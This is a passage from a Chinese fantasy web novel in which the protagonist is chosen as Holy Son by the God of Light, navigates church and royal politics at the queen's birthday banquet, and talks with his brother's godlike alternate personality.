没有任何异常感觉,艾尔菲斯抚着被羽毛触及的胸口,眸色更深,这应该是之前听说过的庇佑……他不喜欢这样的形式,像是被打了标记。 第057章 第 57 章 教皇代神明解释, “这是神光守护,会在你们身体受到重创之际治愈你们,同时撑起屏障阻止敌人的靠近, 也会净化掉附近十里内的所有黑暗元素。” 这当然不能护他们一辈子,强大的后盾会限制年轻人的进步, “印记触发三次就会失效了, 不过我相信你们在那之后, 已经成长为能独挡一面的守护者了,对吗?” 三个孩子已经在刚才的介绍中起身站了一会儿了, 闻言彼此看了一眼, 默契行礼, “是,必不会让吾神和冕下失望。” 这项恩赐代表着, 如果他们被丹尼尔的袭击者找上门,对方相当于踏入必死陷阱……前提是袭击者确实是黑暗种族。 被白羽眷顾的主教们则只有一次保命机会,不过这也足够他们欣喜若狂了! 刚才光羽出现的时候,跪成一座座雕塑的主教们终于下意识的有了细小的动静, 想去触碰神明的造物, 他们抬头的时候,也顺势看到了那双暗金色的眼睛。 神明并没有注意到他们这些不值一提的信徒,但信徒却觉得与神目对视了——天呐!吾神看见了我!!! 对这些很容易满足的神官而言, 触及了神的力量, 四舍五入, 他们触及了神明本身! 恐惧与兴奋的混和情绪让第一次面神的神官们觉得快窒息了, 听到获得了这么大的好处, 立刻鼓起勇气拜谢,“多谢吾神慷慨, 降下神恩庇护信徒!” 艾尔菲斯却觉得有些膈应,他永远对这些陌生的强者抱有多疑和防备心理,如果这个神印只有教皇所述的作用,那当然很好,就怕对本人也有潜在威胁…… 圣子已经选出,召请神明的理由就没有了,但不可能就直接请神明回去继续沉眠,除了极个别拿了好处就觉得可以散场的人,神官们都想继续聆听神音,他们想对自己的信仰有更多了解! 教皇握着法杖的手紧张了几分,“吾神,您有兴趣留下来,听一听教廷的发展和我们为清除黑暗所做的安排吗?” 艾尔稍一撇头,看见旁边的男人眼神中包含难以掩饰的渴望和希冀,对比起他平时的状态……原来真的是个狂信徒啊。 显然神明没有亲民到愿意听一群蝼蚁念叨琐事,祂只关心一件事,“黑暗之子,还没有出现吗?” 语气一如刚才那样平和,似乎这件事与祂无关,只是考虑到下界生灵的安危才多问一句。 银发青年眼皮一跳,收敛了被迫升职的憋屈仔细听下去。 教皇皱了下眉,“还没有,人族中没有留意到双黑的存在,或许还没有降生……吾神,他如果生在了深渊,我们就没有办法知道了。” “黑暗之子天性喜欢带来厄运,破坏一切美丽的事物,本就邪恶混乱的深渊不会是他选择的地方。” 暗金的神目颜色开始变得浅淡,光明之主留下了最后的指引,“你们已经为人族做了很多了,我的信徒,也继续庇护其他种族吧,当所有生灵都有同一个敌人的时候,他就无处可藏了……” 神威渐轻,教皇眼中的光芒也暗了下来,平时那副近在眼前又远在天边的气质又回来了,男人欠身,一缕白发从肩头滑落,遮住了眉宇间的晦涩,声音低到只有旁边寥寥几人能听见,“是,信徒会遵循您的神谕。” 艾尔菲斯嘴角一抽,教皇怎么跟弟弟一样分裂…… 神威消失,众人紧绷了很久的身体终于解除了对危险的自动防御,起身行礼送别神明——“我等必会遵循神谕!” 圣殿响起了低沉的回音,听得艾尔的心一阵收紧。 异族不太亲近人族,但神官除外,他们对教廷的人会友好,不、会放心一些,因为神官不会歧视矮人和地精,也不会对精灵、人鱼和兽族生出觊觎。 只要求助,教廷会派遣人手到每一个发生天灾人祸的地方进行调查,光系法师会治愈每一个受伤的异族,长此以往,教廷是异族中唯一交好的人族势力。 现任君主倒是想改善和异族的关系,但长久以来贵族没少参与捕杀人鱼炼制延寿魔药,以及买卖漂亮异族的事情。 除非以后会出现必须合作的事情当作缓和关系的桥梁,否则女王陛下在任期间,这件事情恐怕很难取得进展。 艾尔菲斯原本觉得教廷满世界不求回报的行善还不错,现在看来……难道从头到尾都是别有用心吗? 青年那张漂亮的脸上全然没有被神明认可、刚刚升职的喜悦,他在担心温斯特一但遭遇意外,暴露了真实发色,该不会举世皆敌吧…… “艾尔,从今日起,你身为圣子,就要了解更多事情,承担起更多的责任,不能跟以前一样经常自由走动了。” 脸上犹带几分嫩气的青年态度却很沉稳,“以后还要麻烦您多多指教了,冕下。” 艾尔在心中叹气,被迫入职,被迫升职,以后还要被迫成为一方大势力的头头,如果他商业版图的发展也能这么‘被迫’就好了。 “祝贺你,其实我们早有预料了,你一直都有远超我和黛芙妮的优秀。” 艾尔菲斯握紧了长袍下发痒的拳头,扯起一抹淡笑,“请不要这么说,太夸张了。” 你的嘴角咧得太夸张了!狗东西,看我以后不给你安排一堆杂事累死你! 大主教们也上前来表示了几句,但不算巴结,就算这年轻人日后继任了教皇之位,只要实力没有他们强,就压制不住他们…… 不远处,埃德加看着被神明选中的圣子是年龄最小、只学了几年魔法的艾尔,竟也没觉得多意外。 即便他以前更看好丹尼尔,却也不得不承认,几名候选人之中,唯艾尔最为亮眼,这孩子,他果然是神眷者啊…… 顺利召请了神明,教廷之中,无人不激动,大家脸上都挂着笑容,氛围和谐,而教廷之外,人心各异。 无论身份,在天空的那只“巨眼”还在的时候,所有人都在看着那边。 兰开斯特家族当然在担心他们家小孩儿,虽然光明神有着很好听的名声,但一想到艾尔作为候选人,会被强大的神明观察注视,他们就忍不住紧张……毕竟艾尔有没有信仰,日常相处中还是能看出来的。 王宫,女王陛下面容冷沉地看着教廷的方向,眼中充斥着纠结和挣扎。 奥瑞利安学院,高塔之上,克列维奇伸手,扭曲了空间让上空的白羽落到他手上。 白羽触之即散,他没什么特殊感觉,只因为法神之躯已经超凡,没有任何毛病,自然感受不到好处,不过不能否认这零星神力的厉害,如果一个缺胳膊短腿的人幸运地沾上了白羽,断肢重生不是问题。 除治愈之外,这光明神力还能净化所经之处的黑暗元素,如果有黑暗种族倒霉的正在王城附近……估计灰都不剩了。 克列维奇忍不住吐槽,“每次都来这一招收买人心,真是缺乏新意啊,我就不信神域没有好东西,随便扔几件下来不行吗,伊莱,你觉得呢?” 旁边的男子温柔笑着,“我觉得光明之主怜悯弱小的平民,很值得人族感恩,老师,您不能太贪心了。” 保不准光明神就听到了他们这边的动静,老师有次神的实力当然扛得住一道主神意志,他可不配在这里指指点点。 场面安静下来,师生二人默契地思考着同一件事,圣子一职十有八.九会落到艾尔头上,可他已经从奥瑞利安毕业了,之后要怎么多和他接触…… —— 主教廷不是一个包容好客的地方,第二日,远道而来的几百名红衣主教,就带着此生最值得他们吹嘘的经历和新任圣子的名讳回到了分廷。 艾尔菲斯担心了很多天的事情还是发生了——他被教皇叫过去谈话了。 对方不止是想了解他,还会跟他谈教廷目前的局势和未来的发展,但凡一方势力,必然要有足够的情报和资金才能支撑起来,艾尔菲斯又听了一耳这两者的来源,教皇还会反复核实他是真的记下了。 艾尔很快就意识到冕下已经在开始培养他了,这几日天天见面,一副想让他立即上手的架势,让他不由怀疑这位是想尽快养成一个优秀打工仔,然后自己躲清静……他不想变成第二个埃德加主教啊! 当然,在交谈中,艾尔菲斯也会好奇地问一问对方的事情,比如他在进入教廷前的经历。 教皇从小就信仰光明之神,他回忆起那时的心情,面露怀念之色,艾尔菲斯则听得满心复杂,这经历听起来有点熟悉…… 哦,跟雷蒙的幼年还挺像,执念都源于一场救赎。 刚想起雷蒙没两天,他就回来了,得知自己赌对了,跟随的候选人成为圣子,当着艾尔菲斯的面就没忍住笑成了个大傻子。 “……”你演的人设崩了啊大哥! 被半困在教廷的银发青年端坐在椅上,深深地看了他的骑士一眼,决定谁现在为他开心,他以后就要让谁不开心……先把艾布纳、黛芙妮和雷蒙记上小本子吧。 艾尔菲斯跟教皇请了假回了一趟庄园,又跟家里人谈了一番自己的想法,让他们放心不少。 离开了教廷,不用担心隔墙有耳,他才和温斯特联络上。 “哥哥,我可以回去找你了吗?” 水晶球中,温斯特皱着眉显得整个人都很焦躁,艾尔无奈道,“已经不是小孩子了,怎么还这么黏人…演戏要全套,你和亚尔林就跟着那位叔叔学习,等开学再回来。” 如果没有他,以温斯特的性格一定会对教廷嫌弃至极,又会怎么会盼着回来,艾尔菲斯并不想让他困在讨厌的地方。 温斯特的处境比他之前以为的还要危险,还是多在外面学些本事吧。 跟弟弟简单讲了一下光明神的针对,对方很乖地表示一切都会听他的,会谨慎行事,“我从小就会保护好自己,你不记得了吗,操心太多事会很累,哥哥只需要单纯地想我就好了,不用为我思虑太多,我会心疼的。” 艾尔失笑,这小子说话和行为一样黏糊糊的,不过这板着脸一本正经的样子还挺可爱,没白疼。 —— 无波无澜的又过了三个月,艾尔菲斯几乎都呆在教廷中练习魔法,有时教皇会叫他过去讲些事情。 雷蒙和亚尔林也久留在教廷中,前者在得知教皇几乎只在圣殿和住所两点一线后,活动范围就比初来乍到的时候广了很多,经常去找其他骑士切磋打发时间。 温斯特则回到了剑师学院,继续吸收百家所长。 一日,艾尔菲斯收到了宫廷宴会的邀请,若只是寻常聚会他肯定是没兴趣参与的,不过这次是陛下的生日……好歹他也叫一声姑姑,还是去吧。 这件事,艾尔在教皇找他的时候顺便告知了一声,以免对方会碰巧在那天叫他过来。 教皇对此事没什么表示,全然不在意。 等青年离开后,在一旁处理文书,顺便也教教艾尔的埃德加疑惑询问,“冕下,我们要放任这孩子与王室亲近吗?” 第058章 第 58 章 没有君主会乐意看到一个不受掌控又颇具威望的势力存在, 不过碍于光明之神的存在、又找不到可以攻讦的行为,所以从神战时代之后便一直维持平衡到现在。 加上只要通过考核,服从指派, 教廷并不介意有贵族背景的法师成为神官,甚至进入权力中心, 这让教廷看起来显得纯粹坦然, 没有异心。 历任君主中, 心大或是良善一点的,还真会觉得教廷的存在很不错。 但现任君主, 那位女王陛下与教廷的关系有些微妙, 埃德加不确定是因为很早之前的某件事, 还是因为女王天性强势、不喜欢教廷的影响力越过王室,所以加大了对贵族的约束, 也开始留意分廷神官的行为。 一旦发现谁有着与教条不符的行为,陛下派出的暗访者便会在平民眼前直接质问,让做错事的神官当众出丑。 虽然教廷会迅速而公正的对违背教条的神官作出惩罚,但这样的次数多了, 难免会对教廷的名声有损, 反之,陛下的几项利民政策已经强行落实,王室的威望已经有了很大上升。 埃德加主教认为陛下照顾她的子民没什么不好, 检举行为不端的神官也能帮助教廷驱逐伪信徒, 但不留情面的当众斥责……现任君主对教廷的打压态度显而易见。 埃德加确实容易受周围人蒙骗, 但这是因为大家都是演技派, 又聚少离多没机会露出马脚的原因, 但他没有迟钝到,听到艾尔被邀请参加宫廷宴会都还猜不出陛下的心思。 艾尔的家族和女王关系亲近, 而他又是教皇冕下的继任者,如果受女王的影响太深,日后成为教廷的最高决策者后,定然会被王室潜移默化地操控教廷发展。 这也是埃德加之前更看好丹尼尔成为圣子的原因之一,他认为艾尔很容易受到兰开斯特家族的影响,心思不够纯粹。 不过既然光明之主已经选定了他,就说明这孩子的信仰还跟幼时一样虔诚,埃德加自然不希望他被贵族利用。 “冕下,或许我们应该去提醒一下艾尔,不要太亲近那位陛下了。” 教皇眉眼不抬,语气平和,“艾尔一直以来都很努力,偶尔去参加一次宴会放松一下也没什么,况且……就算我们阻止他和陛下见面,却不好拦他见家里的人,见不见陛下又有什么区别呢。” 反正兰开斯特家族会传达出那位的意思。 老人叹了口气,“看来只能经常提醒那孩子,不要走偏了路。” 清剿黑暗种族,庇护弱小生灵才是教廷存在的目的,若是成为了贵族手中的一把刀,必然会被神明摒弃! 不知道是被哪个字所触动,教皇失神一瞬,“不用太担心,现任陛下只是王权的代管者,没有足够的时间达成野心。” 男人合上一本已经批注好的文书,“教廷从来不参与王室贵族间的斗争,不过既然被当成了猎物,必要的时候,我们可以向真正的君王揭露一些过往,等他和兰开斯特家族有了隔阂,艾尔就自由了。” 而他们,没有必要再三表现出对圣子的怀疑和约束,年轻人都不喜欢这一点,还是从源头解决事情更好。 埃德加不知道教皇冕下说的什么过往,他却知道不是什么都可以问的,见冕下心里有数,他就不准备多管了。 主教阁下的意思是要派一支圣骑士护卫队跟在圣子身边保护他,艾尔菲斯听完就立刻感受到被拘束的压力,以太过喧宾夺主的借口拒绝了。 埃德加转念一想,王城还算安全,王宫更是有着层层防御,艾尔身上又有神明留下的庇护,确实没有调动圣骑士的必要,老人便放松了要求—— “亲爱的,带上你的近身骑士吧,你似乎太放纵他们了,那三个年轻人总是不在你的周围,你应该开始管束他们了。” 若不是看在艾尔选的人都有巨大潜力的份上,年轻时跟在身边一起成长也更容易培养出忠诚感,埃德加早就劝说他换一批人了。 银发青年笑着应下,“好的,主教阁下,我会管教好他们。” 艾尔菲斯在宫宴那天,带上了亚尔林,叫上了放周末住在宿舍的温斯特,但是将雷蒙留在了教廷。 “听唐纳修护卫长说,你在团体比试中太过鲁莽,完全不与同伴商量合作,也不顾及他们的安危?我不希望你以后对我们也是这个态度。” “你去藏书殿呆几天,安静地看些书磨一磨浮躁的性子,正好你以前月考成绩不好,进去多学点东西。” 雷蒙觉得自己从来没露出过身份破绽,已经说得上是行事谨慎了,哪里鲁莽?分明是这些人族做事畏畏缩缩! 不过圣子的安排正合他意,身形壮硕的骑士欠身回复道:“是,殿下,雷蒙会尽快改正的。” 待马车行驶远离了教廷,停在剑师学院等人的时候,亚尔林才疑惑询问,“殿下,您为什么要让雷蒙得偿所愿?” 这两个月,以前在学院最不耐烦看书的雷蒙一反常态的喜欢往藏书殿跑,显然是有目的地找着什么东西。 漂亮温和的银发青年眼中掠过一抹兴味的笑意,“没关系的,重要的记载不会摆在明面上。” 主要是因为他没打算将一个别有用心的人带进好友的地盘,才找了个不显得突兀的借口故意将人留了下来。 才聊两句,温斯特就出现在他们眼前。 青年的狭长黑眸一贯幽深漠然,只有容纳哥哥的身影的时候才会化冰成水。 “哥哥,好久不见。” 温斯特一步踏进马车便给了哥哥一个拥抱,被热意包围的艾尔一阵无奈,哪有多久啊,这几个月,他每次离开教廷办事的时候还会用水晶球跟弟弟联络的,看起来这么冷酷的小伙子,怎么会这么腻乎。 艾尔菲斯上辈子很早就独立惯了,觉得亲友们生活顺遂就好,能不能经常见面并不重要,两世都没有产生过思念这种情绪,最多就是在小温斯特当年离家出走的时候因为他年龄太小有些担心…… 重逢后,知道弟弟已经有了足够的自保之力,副人格更是个大杀器之后,艾尔就很放心他独自在外历练了。 哪怕分别个三五年他也不觉得有问题,甚至温斯特能远离坐落着主教廷的王城,他会觉得更安心。 艾尔菲斯实在理解不了弟弟这种随时想跟着他的心理,明明小时候都不会搂搂抱抱的,长大了反而不觉得害羞了。 轻轻拍了拍温斯特的后脑,将人扯开,“快坐好,马车要走了,当心跌倒。” 温斯特坐在哥哥旁边,“我怎么会跌倒。” “我怕你晃一下磕到我。” “……哦。” 艾尔菲斯扭头打量邻坐的人,他这个年龄的小青年身上或多或少带着清澈愚蠢的感觉,温斯特却从来没有。 刻苦练剑几个月,体格宽厚一些了,他的面容又少了一分年龄带来的稚嫩感,五官更深邃锋锐,艾尔觉得,好像每次隔段时间不见温斯特,再见面的时候都会发现他有着明显的变化。 对了,上辈子好像听过一句话,叫孩子一天一个样,果然如此。 艾尔见温斯特额间有着蒙蒙细汗,心想难怪这小子凑过来的时候热得跟个火炉一样,“刚才在和哪位老师学习?” “康拉德院长。” 艾尔挑眉,夸赞道:“我们温斯特果然天赋异禀啊,居然将鲜少露面的剑神阁下引出来了。” 余光瞥见弟弟手腕上的显眼红痕,他将温斯特衣袖往上扯,又拉了一下上衣,看见硬朗肌肉上细密的紫红痕迹,才知道弟弟有多辛苦。 艾尔的手上托起一团温润白光送入了温斯特的身体,替他治愈好淤伤。 温斯特正想宽慰哥哥一句‘老师是用剑鞘打的,他皮糙肉厚不觉得疼’,还没说出口,就听哥哥感慨一声,“看来康拉德院长是个好人,他居然没打你脸。” 实话实说,自从他对温斯特内向、不善社交的误会解开以后,逐渐看清温斯特对外有多嚣张傲慢。 他看塞缪尔有时候就很手痒,外人看温斯特应该有着一样的心情,如果他是实力强大的剑神,多少要赏学生一对熊猫眼教他做人。 不过弟弟在他面前很乖,这种想法还是不要吐槽出来了,咳! 温斯特听完那句隐约带着震惊的感慨,悻悻地闭上了嘴。 马车向着兰开斯特庄园驾驶,他们晚些时候要和其他人一起进王宫,所以温斯特还有时间洗浴换衣。 觐见女王不好全副武装,两个骑士就身穿轻便银甲跟随在圣子身后。 辛西娅认真打量了一番儿子亲自挑选的护卫者,之前对他们实力的担忧消散了一点,“不错,比上次见到进步了很多。”不需要动手,从体格和气质也能看出来。 艾尔菲斯被安柏姑姑叫了过去,“这次参加晚宴,教廷的人有跟你说什么吗?” 青年摇头,“没有。” 妇人蹙眉,她有听说现任教皇对除光明神之外的事情格外冷漠,居然连继任者的交际范围也不干涉吗? 艾尔又道:“或许等我回去之后会和我谈谈。” 他还记得几天前提出要参加宫宴时,主教阁下的脸色有变,既然在意的话,迟早是要有一场谈话的,他也已经猜到了主题。 安柏点头,和蔼看他,“如果女王陛下跟你说了什么,拿不准主意,就和家里人谈谈,一切以你的意愿为主。” “好。” 黄昏时分,几辆马车紧跟着离开庄园,去往宫殿。 —— “圣子殿下可真是贵人多事,这么久了连个人影都见不到一个。” 拿这种语气跟他说话的,也只有奥斯顿王子了,艾尔菲斯呛声,“上个月才见过。” 怎么一个个的都这么黏人,他在心里翻了个白眼,有本事你们把教廷炸了,我天天跟你们满世界鬼混。 晚宴上,艾尔菲斯以前的同学(崇拜者)还不少,他和奥斯顿很快就被围住了,直到女王陛下进了大厅,坐上王座,他才得到了解救,然而站在人群中,看贵族们挨个上前献礼,溜须拍马表忠诚。 幸而贵族在外都很会克制形象和语言,不会说太多花里胡哨的话来讨欢心,所有受邀的贵族献礼之后,也没有费多少时间,而后就是舞会环节了。 银发青年拒绝了一个又一个的邀请,和唯一没去跳舞的家人凯莉堂姐站在一起,边聊天边慢条斯理地吃着东西。 不经意间瞟到王座那方,女王陛下仍然端坐在那里,细细摩挲着法杖上那颗和她瞳色很像的紫色魔导晶矿,她的脸上没有任何表情,那片空间安静沉郁,与周围割裂成了两个世界。 艾尔菲斯多看两眼便觉得压抑,走出了宴厅想透个气,顺便去看看被留在厅外的弟弟。 当亚尔林告诉他温斯特刚才说了声“吵”,便直接离开了的时候,艾尔菲斯就提起了心——副人格怎么今晚出来了! 顺着亚尔林指的方向,艾尔菲斯走进了在夜晚显得昏暗的园林。 宫廷园林被人工修剪得整齐美观,但树墙太多,加上灯盏昏黄不如白天清晰,艾尔有些担心塞缪尔迷路。 盲目找了一会儿才想起还有水晶球可以联络,万幸叛逆的副人格没有将有动静的水晶球置之不理。 “塞缪尔,你在哪里?” 神明大人看着水晶球中出现的那张略显担忧的面容,伸手弹了一下对方的脸颊,小信徒居然直接认出了祂? 黑眸青年懒散地回了声,“湖边。” “我过来找你,不要乱走。” 塞缪尔蹙眉,怎么听着像是担心祂会惹事? 以前来过宫廷,艾尔是知道布局的,很快就找到了地方,塞缪尔正靠在湖边的长椅上。 “今晚没什么有趣的,怎么突然出来了?” 塞缪尔当然不会说温斯特刚才看见这小崽子被重重包围,而他和所有骑士一样被留在了厅外,留在昏暗之处无法靠近,不甘至极下激烈的情绪又将祂唤醒了过来。 正好这是个没来过的新地方,塞缪尔便接管了身体,出来走走,进入封印沉睡几个月,晚点还有些话要问祂的小信徒。 没有理会艾尔菲斯的问题,塞缪尔长腿交叠,靠在椅背上,抬眼看着对方,“见到亚希伯恩了?” “谁?” 青年迷茫的和副人格对视了一会儿,终于从记忆中扒拉出塞缪尔提过一次的光明神的名字,“哦,你说祂啊,算是见到了……一部分。” 没看见全部神躯,可不就是一部分嘛。 塞缪尔已经被小信徒遗忘了亚希伯恩的名字这件事愉悦到了,嘴角没有勾起,眼中却掠过一丝笑意。 “光明神强大又仁慈,作为受祂庇护的人族,又亲眼见证了神迹,你不应该信仰祂么?怎么能没有一点敬畏。” 漂亮的青年双手撑着膝,半弯着身,如月华的银白长发被夜风轻轻吹拂,他弯眸的时候,眼中微波荡漾,整个人温柔又干净,“我怎么能背叛塞缪尔大人呢,况且,我不觉得祂哪里比你好。” 艾尔菲斯从善如流地哄着副人格,却也没说假话,脾气直接又真实的塞缪尔确实比看不透的神明要好很多。 话是好听的,但塞缪尔总觉得小崽子对祂也没有一丝尊敬,听起来就像哄骗……对了,初见就提醒过,不许俯视着看祂,小崽子又不长记性! 正待开口训斥,塞缪尔突然想起刚才出来时往宴厅瞟了一眼,有贵族吻上了人族君主的手……温斯特在庄园接受骑士训练的记忆中,这种行为是表示忠诚和恭敬的。 塞缪尔哼笑一声,“真的信仰我吗?”祂懒懒地伸出一只手,微抬下颌,“给你一个证明心意的机会。” 艾尔菲斯没怎么犹豫地握住面前的手,然后—— 一个用力将人拉了起来。 青年好脾气地问道,“你想让我做什么?”顺便在心里吐槽了一下副人格有时候过于懒散,连起身都要人帮忙了。 猝不及防被一股大力带了起来的神明大人:“……” 塞缪尔深深地看了小信徒一眼,“去请个礼仪老师,好好学一学。” 艾尔菲斯:“???”您有事儿吗? 第059章 第 59 章 艾尔菲斯了解所有的贵族礼仪, 也会跳交谊舞,但有些举止他是不会实践的,比如吻手礼, 嘴上忽悠是一回事,行动上他不喜欢低人一等, 正好也从来没有人示意过他做这种事。 他认识的人之中, 有资格让他表达忠诚和恭敬的, 王室成员拿他当自己人,不会在意这种礼节。 至于教皇冕下……艾尔还没有见过有人这么亲近他, 包括对他交托了信仰而不自知的埃德加主教。冕下长了一副圣洁不可染指的相貌, 没人会心大到想要去触碰他。 就因为从来没把吻手礼放在心上, 即便塞缪尔侧面提醒过了,艾尔也压根儿没反应过来祂的意思。 不过听起来并不重要, 他疑惑了一下就无视掉了,刚才提到了光明神,倒是让他想起另一件事。 “你能看出我身上的神印吗?”他将教皇的解释复述了一遍,好奇塞缪尔的眼力和见识有多强。 神印是隐藏状态, 他不说, 塞缪尔还真没察觉到这个东西的存在。 两指点上对方的额头,黑暗元素的入侵让纹路短暂地浮现了出来,用神语描绘的防御咒语和亚希伯恩的名字被祂一眼认出。 塞缪尔冷笑一声, “我给你抹掉。”祂的东西, 怎么能被别的神明打下标记。 银发青年眼睫一颤, 能轻而易举地抹掉神明印记, 他对塞缪尔身份的猜测又落实了两分…… “别!”艾尔及时拽住了祂的手腕, “这个神印除了能救命之外,有危险吗?” 被阻止了, 塞缪尔眉头压得更低,不耐烦地抽出了自己的手,“除非你死,否则你的行踪祂了如指掌。” “那祂能直接从神域看到我在做什么吗?” 塞缪尔抱着手臂,扯了扯唇角似在嘲笑,“当然不能,除非像上次一样大费周章打开一条通道。” 就这样还只能降下一道意志而非本体,塞缪尔是真的理解不了亚希伯恩的固执。 不过也正是因为这道神印不是本体打下的,塞缪尔才能以现在能发挥的力量将其抹除。 艾尔疑惑,“知道我们的行踪有什么用?”又不能控制他们。 “这些印记中带有神明的名字,我们会有感应。”不过是一大堆蝼蚁,亚希伯恩也不一定是有意想了解这种无聊的事情。 艾尔菲斯就当没听见那个‘我们’,还是用熟稔的态度跟塞缪尔说话,“先不管,把它留着吧。”遇到致命危险,还能指望一下。 塞缪尔很是不悦,狭长黑眸冷沉地盯着他,“我的信徒,怎么能留下其祂神明的印记。” “嗯……神印被抹消了,光明神那边会察觉吧?” 塞缪尔眉头一抬,“那又怎样。”反正亚希伯恩的那群信徒又找不到祂。 这么能,那你在神降日之前跑路做什么!银发青年动了动唇,想提醒对方低调一点,猥琐发育,但他不敢…… 青年声音幽幽,“您的信徒骗取敌人的力量保护自己,还被祂亲自定为光明圣子,等您以后见到祂,就能借此嘲讽祂一顿,您不觉得这样很有趣吗?” 塞缪尔知道小崽子本意不是这个,他只是找了个好听的理由,但……听起来确实比直接跟亚希伯恩打架有意思。 突然回忆起当初在瀚海森林他是怎么轻描淡写报仇的,塞缪尔打量了一下小信徒纯良和善的漂亮面容,真看不出来他这么懂如何气人……对了,还很会哄人,总是能在祂耐心耗尽之前就能安抚祂所有的不满。 不愧是祂挑选出来的信徒,比教廷那帮蝼蚁加起来都聪明优秀,相貌也很顺眼。 塞缪尔的神生中难得生出欣赏的情绪,可惜艾尔菲斯在对方居高临下的打量目光中提着一颗心,实在看不出来,只担心这次顺毛成功没有。 “听起来不错。” 听到这慢吞吞的回复,艾尔才松了口气,果然塞缪尔比他见过的其他强者要好相处很多,没那么多复杂心思,虽然是颗不定时炸弹吧,却又很容易按停。 青年弯着眉眼,“要不要逛一下城堡,我带路。” “嗯…”祂对人族的宫殿没什么兴趣,但是和小崽子闲聊逗一逗他就有点意思了。 如果艾尔菲斯知道塞缪尔的想法,一定会怀疑祂是把自己当宠物养了。 他们在月色下漫步,艾尔又问起了之前被对方无视的那个问题,“你今晚怎么出来了?这个地方应该并不合你的意。” 他想知道塞缪尔的出现是随心所欲,还是需要什么事件触发。 原因过于丢人,温斯特的脸面也是祂的脸面,所以塞缪尔再次无视这个问题,侧头看着旁边比自己低半个脑袋的小信徒,反问道:“你为什么不好奇我以前的事?” 就算不敢问祂的私事,久远年代的其它事也不敢问吗?祂的小信徒可不是这么胆小的人。 艾尔眼皮一跳,他一直以来都竭力避免谈及塞缪尔的来历问题,就是不想将猜测落实,打破这段平静友好的兄弟关系。 正在他头脑风暴如何将这个话题混过去的时候—— “圣子殿下,请稍等。”远处有仆从小跑过来,行了一礼,“殿下,陛下想要见您,方便的话,可以现在跟我去一趟吗?” 青年眼眸一亮,谢谢你,我的救星! “好的,请在前方带路。” 艾尔菲斯转头跟塞缪尔商量,指了一下附近的石桌石凳,“你可以在那里等我一会儿吗?实在无聊,可以先回去,之后再聊。”回去就是让温斯特出来的意思。 塞缪尔还没任性到非要跟着一起走的地步,祂淡淡地看了小崽子一眼,转身走向他指的地方。 艾尔菲斯竟然因为这一小小举动,觉得副人格通情达理! 他摇摇头,自己真是太容易在塞缪尔身上得到满足了。 晚宴还没结束,女王已经提前离开了宴厅。 艾尔菲斯跟着仆从来到陛下上位后特意让人打理出来的小花园,眼前尽是一种触之即有细微电流过身的魔植,紫色花朵芬芳摇曳,和雷系的陛下一样有着危险的魅力。 “晚上好,费莉西娅姑姑。” 穿着华丽层叠宫廷服的女性看见来人,露出少有的温和浅笑,“过来坐,小家伙,你可是很久没有过来看我了。” 艾尔应声坐在小圆桌的对面,无奈道:“您知道我现在不怎么自由,不过您的生日我是不敢错过的,偷跑也要过来。” 费莉西娅笑骂:“你这孩子,分明是嫌弃我们这些长辈无趣才不想来,教廷哪会管的这么严。” 青年讪笑着,夸赞了一下对方今日的装扮,又问候了她几句政务和生活情况,唠了唠自己的家常。 气氛不错,陛下的心情显然比刚才在宴厅要好很多,笑容也不是装出来的。 既然谈到了他的生活情况,当陛下关心问出“艾尔觉得成为教皇冕下的继任者,会不会有很大压力?”这个问题,也是顺其自然的事情。 “当然有压力了。”青年稍微放低了声音,“费莉西娅姑姑,我偷偷告诉您吧,我就喜欢和朋友们去满世界自由游历,这个身份对我而言就是束缚罢了。” 女王弯了一下唇,沉默片刻,最终说了一句,“还是有很多好处的,等你习惯就好了,多年之后,我或许有机会看你和我一样为处理不完的事务头疼。” 罢了……他是安柏疼爱的侄子,也是个好孩子,她不应该让艾尔当内奸,处于风险之中…… “回去吧,晚宴快结束了,你家里人会找你的。” “好,回见,费莉西娅姑姑。” 艾尔走了几步,叹了口气,转身说了句,“我很欣赏您对神官的严格监察,请继续下去吧,这样等我继任教皇之后,就能管理一个干净的教廷了,如果有需要我帮忙的,请务必告诉我,姑姑。” 费莉西娅愣了下,眉眼温和地点了头。 艾尔菲斯离开后,女王依然坐在原位,并不打算在散场前出现在众人面前。 她摩挲着法杖顶端的魔导晶矿发呆,良久,好像听见了一道熟悉的声音在温柔唤她—— “费莉西娅,我的挚爱,过生日要开心一点啊。” 第060章 女王的故事,介意勿买 族谱上出现过法师的家族都会多生几个孩子, 这样的话,出现身具魔法天赋的后代的机率也会大一些。 不过贵族结婚一般是门当户对的,明面上都只有一位夫人, 多数男性都会在背地里找情妇。 费莉西娅只是侯爵的私生女,是父亲十多个孩子中比较受重视的一个, 甚至在其他私生子都被养在外面的时候, 她在五岁的时候就被接进了侯爵府——并非因为父亲有多喜爱她, 只是因为费莉西娅从小就显露了遗传自母亲、但是比母亲更优越的容貌。 光凭那双稀有的紫色双眸就足够吸引人了,接进庄园养出一身好气度, 长大后必然是一个优秀的联姻对象。 女孩儿几乎每天上课的时候, 不管学的是礼仪还是诗歌、艺术、历史什么的, 老师们讲着讲着,总会突然提醒她某个内容以后可以用来和贵族少爷们交流…… 唠叨太多次, 费莉西娅不由产生了厌烦情绪,她才不想聊这么无趣的内容,她也不喜欢住在这个地方,一点都不好玩! 这种深受束缚的生活过了两年后, 王城新一轮的天赋检测开始了, 自那之后,费莉西娅的待遇和地位有了极大的提升,远超侯爵府那位有着五级元素亲和力的金系法师少爷。 费莉西娅检测出八级亲和力的雷系天赋, 侯爵惊喜不已!这么有面子的事情, 当然要安排一场宴会好好炫耀一下。 因为周围大多数人都表现出很喜爱她的样子, 女孩儿最初很高兴, 直到听多了“你要好好努力, 成为一个强大的魔法师为家族取得荣耀”这种话,耐心不怎么好的费莉西娅收敛了纯粹的笑容, 仗着强大的天赋作为底气,实在不想听了还会直接摆出一副臭脸,捂着耳朵走掉。 在几天后的晚宴中,费莉西娅众星拱月,被很多客人围着赞美。 翻来覆去都是那些话,女孩儿礼貌的假笑逐渐垮下,开始东张西望,想看看其他小孩儿在玩什么。 忽然对上了一道视线,对方在一个大人堆里看见她,眼睛一亮,提着裙子一阵风似的跑了过来—— “哇哦~你好可爱啊!你的眼睛比我母亲收藏的宝石更珍贵好看,我可以和你做朋友吗?” 没有女孩子不喜欢被夸赞容貌,费莉西娅羞涩地抿嘴笑着,点了点头,这还是她这两年来第一个主动靠近她的同龄人,这个女孩比刚才别人介绍的孩子可爱多了! “你要跟我过去玩吗?”小安柏要把新朋友从大人的无聊话题中救走! 